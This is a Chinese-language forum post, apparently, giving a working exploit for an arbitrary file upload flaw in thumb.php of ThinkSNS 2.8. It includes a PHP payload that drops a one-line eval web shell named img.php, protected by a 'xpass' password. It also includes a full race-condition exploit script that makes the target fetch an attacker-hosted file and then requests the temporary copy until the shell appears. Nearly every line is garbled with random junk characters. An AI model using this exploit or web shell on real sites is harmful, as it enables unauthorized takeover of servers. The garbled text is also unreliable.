漏洞版本7 F8 |6 G( M6 [6 ?2 ]9 h
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
K/ v- q& `1 c, _: f. W漏洞文件
9 b. t2 }$ [8 F( m0 z存在漏洞的文件为:thumb.php
D0 q1 p4 }0 t x作者:韦鲲鹏% f) C! f% @4 p) E( m% i
1、 准备如下PHP文件并上传到服务器(自己的)。
9 E5 I6 V/ Y/ W4 f文件内容如下:
3 F# k# s8 z( p! [. \/ T<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
/ d/ A" k# f3 P' _: K i2、 计算出临时的文件名:! [# y$ \0 C& F k+ ]
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
0 k' F( p U E8 i! L2 z/ G/ y* h; s8 _9 x* @: V# b
3、 上传临时文件。# z& c6 J5 A, m+ M1 z: [
4、 访问临时文件。
' @# y& f" \0 w( s但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
8 R% A4 ]9 @4 |6 aExploit文件内容如下:(这个我就不详细解释了)" N" K9 J2 c9 b6 Q: s, K; }+ z
<?php
# p% V7 L+ w# c. p& ^error_reporting(0);
: G3 l u8 H% C" p( W, ?& Tset_time_limit(0);
# {* m1 @+ M& Z1 [. U' aini_set(“default_socket_timeout”, 5);
1 u6 [9 o; b! g6 l/ q& a5 M7 [$ dfunction http_send($host, $port, $headers) {0 w9 u+ D% d; B6 b( Z8 h" k$ @% _
$fp = fsockopen($host, $port);) O& g' f. w- G
if (!$fp) die(‘Connection -> fail’);
# o* m0 W6 g" P% ?, {" d2 n( Afputs($fp, $headers);* r! A- Z: U; J
return $fp;
/ {) a, {1 \ t) ~3 x}
+ r6 w0 }' t1 J& M6 z" ~6 Zfunction http_recv($fp) {
; b1 I) N, i5 y, T2 I/ v$ret=”";
+ Z' m+ x/ [/ ` t3 dwhile (!feof($fp))' c3 c+ U9 P% B. M* e A
$ret.= fgets($fp, 1024);
2 B) ?3 c2 f. Sfclose($fp);9 C( J6 U6 k# Z" i
return $ret;$ a8 ]7 V# O d
}# j9 [' T7 |; e
print “\n# ThinkSns Arbitrary File Upload #\n”;6 I; X8 u' {0 N# |/ ~3 z1 j0 D
print “# Discovered by 韦鲲鹏 #\n\n”;2 n; f' I- V4 {* `' T" |6 e
if ($argc < 4) {
8 C% g" \& l% M. xprint “Usage: php <host> <path> <romote_url>\n”;' L3 D2 ^6 I+ L& R/ M1 X
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;& |1 b+ ^: b+ k3 x* C
die();
6 Q7 t$ M+ n. B: y) ?+ G, g6 V l} M) F$ e1 }$ r: W/ A2 N
$host = $argv[1];
0 f3 n$ j! Y4 N! u$path = $argv[2];. h4 k( i2 s- Q/ T' p
$url = $argv[3];0 W/ w- F! J% J7 o4 R8 V
$i=0;! u0 N" d$ A# [* l, Y/ f
//上传数据包
5 R% m8 T: n. p$ @$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
g. ^1 j+ i7 h8 T$headers_up .= “Host: “.$host.”\r\n”;
/ a0 F! k! E( A3 T1 Q, V4 x$headers_up .= “Connection: close\r\n\r\n”;" r" n% ~5 g, v+ c0 t' S) C) k2 _
echo $headers_up;
! f9 }: m# p8 y1 H* `, r; ^//临时文件访问数据包
# x4 x9 j4 N$ `$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;6 j0 p; C$ p8 f; i
$headers .= “Host: “.$host.”\r\n”;, H2 V% }5 Q8 A. x6 a: Z
$headers .= “Connection: close\r\n\r\n”;
# N _; F7 `+ L& Z `0 fecho $headers;
1 u8 g1 O$ q/ r! J+ ]$ t9 {) |4 hwhile(++$i<10) {! _* B# H5 ?- ~& H; Q' x
fclose(http_send($host, 80, $headers));. D7 I% I( P; A6 G) o2 S! _
}
3 g* s1 F' d5 H: {: Qfclose(http_send($host, 80, $headers_up));
; P$ y8 S" s/ _# H v. h. n/ |7 swhile(++$i<50) {5 C- V- l0 H7 @- i+ U
fclose(http_send($host, 80, $headers));
( U, m9 |2 `* ` L; h9 Q}
. A$ L+ \5 Y$ X6 X& J2 e9 E6 t$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;% h/ K8 b1 k! e: m E' V1 r
$headers .= “Host: “.$host.”\r\n”;" B& e6 v+ c. D& s
$headers .= “Connection: close\r\n\r\n”;% W; f& b9 M! M* e9 m! h
$res=http_recv(http_send($host, 80, $headers));$ W% o# J/ f- p0 z' N* R
if(preg_match(‘/200 OK/’,$res)) {
; S! H3 S. w c$ `, xprint “Success!\n\n”;( k1 u8 i7 W7 \
} else {, P# K+ v4 W* Y- |
print “Fail!\n\n”;& ^3 E( |# L- c- s" Y. N
}0 U# Z4 [- k( g& _
?> X* M1 n2 o! @7 L, N& S
|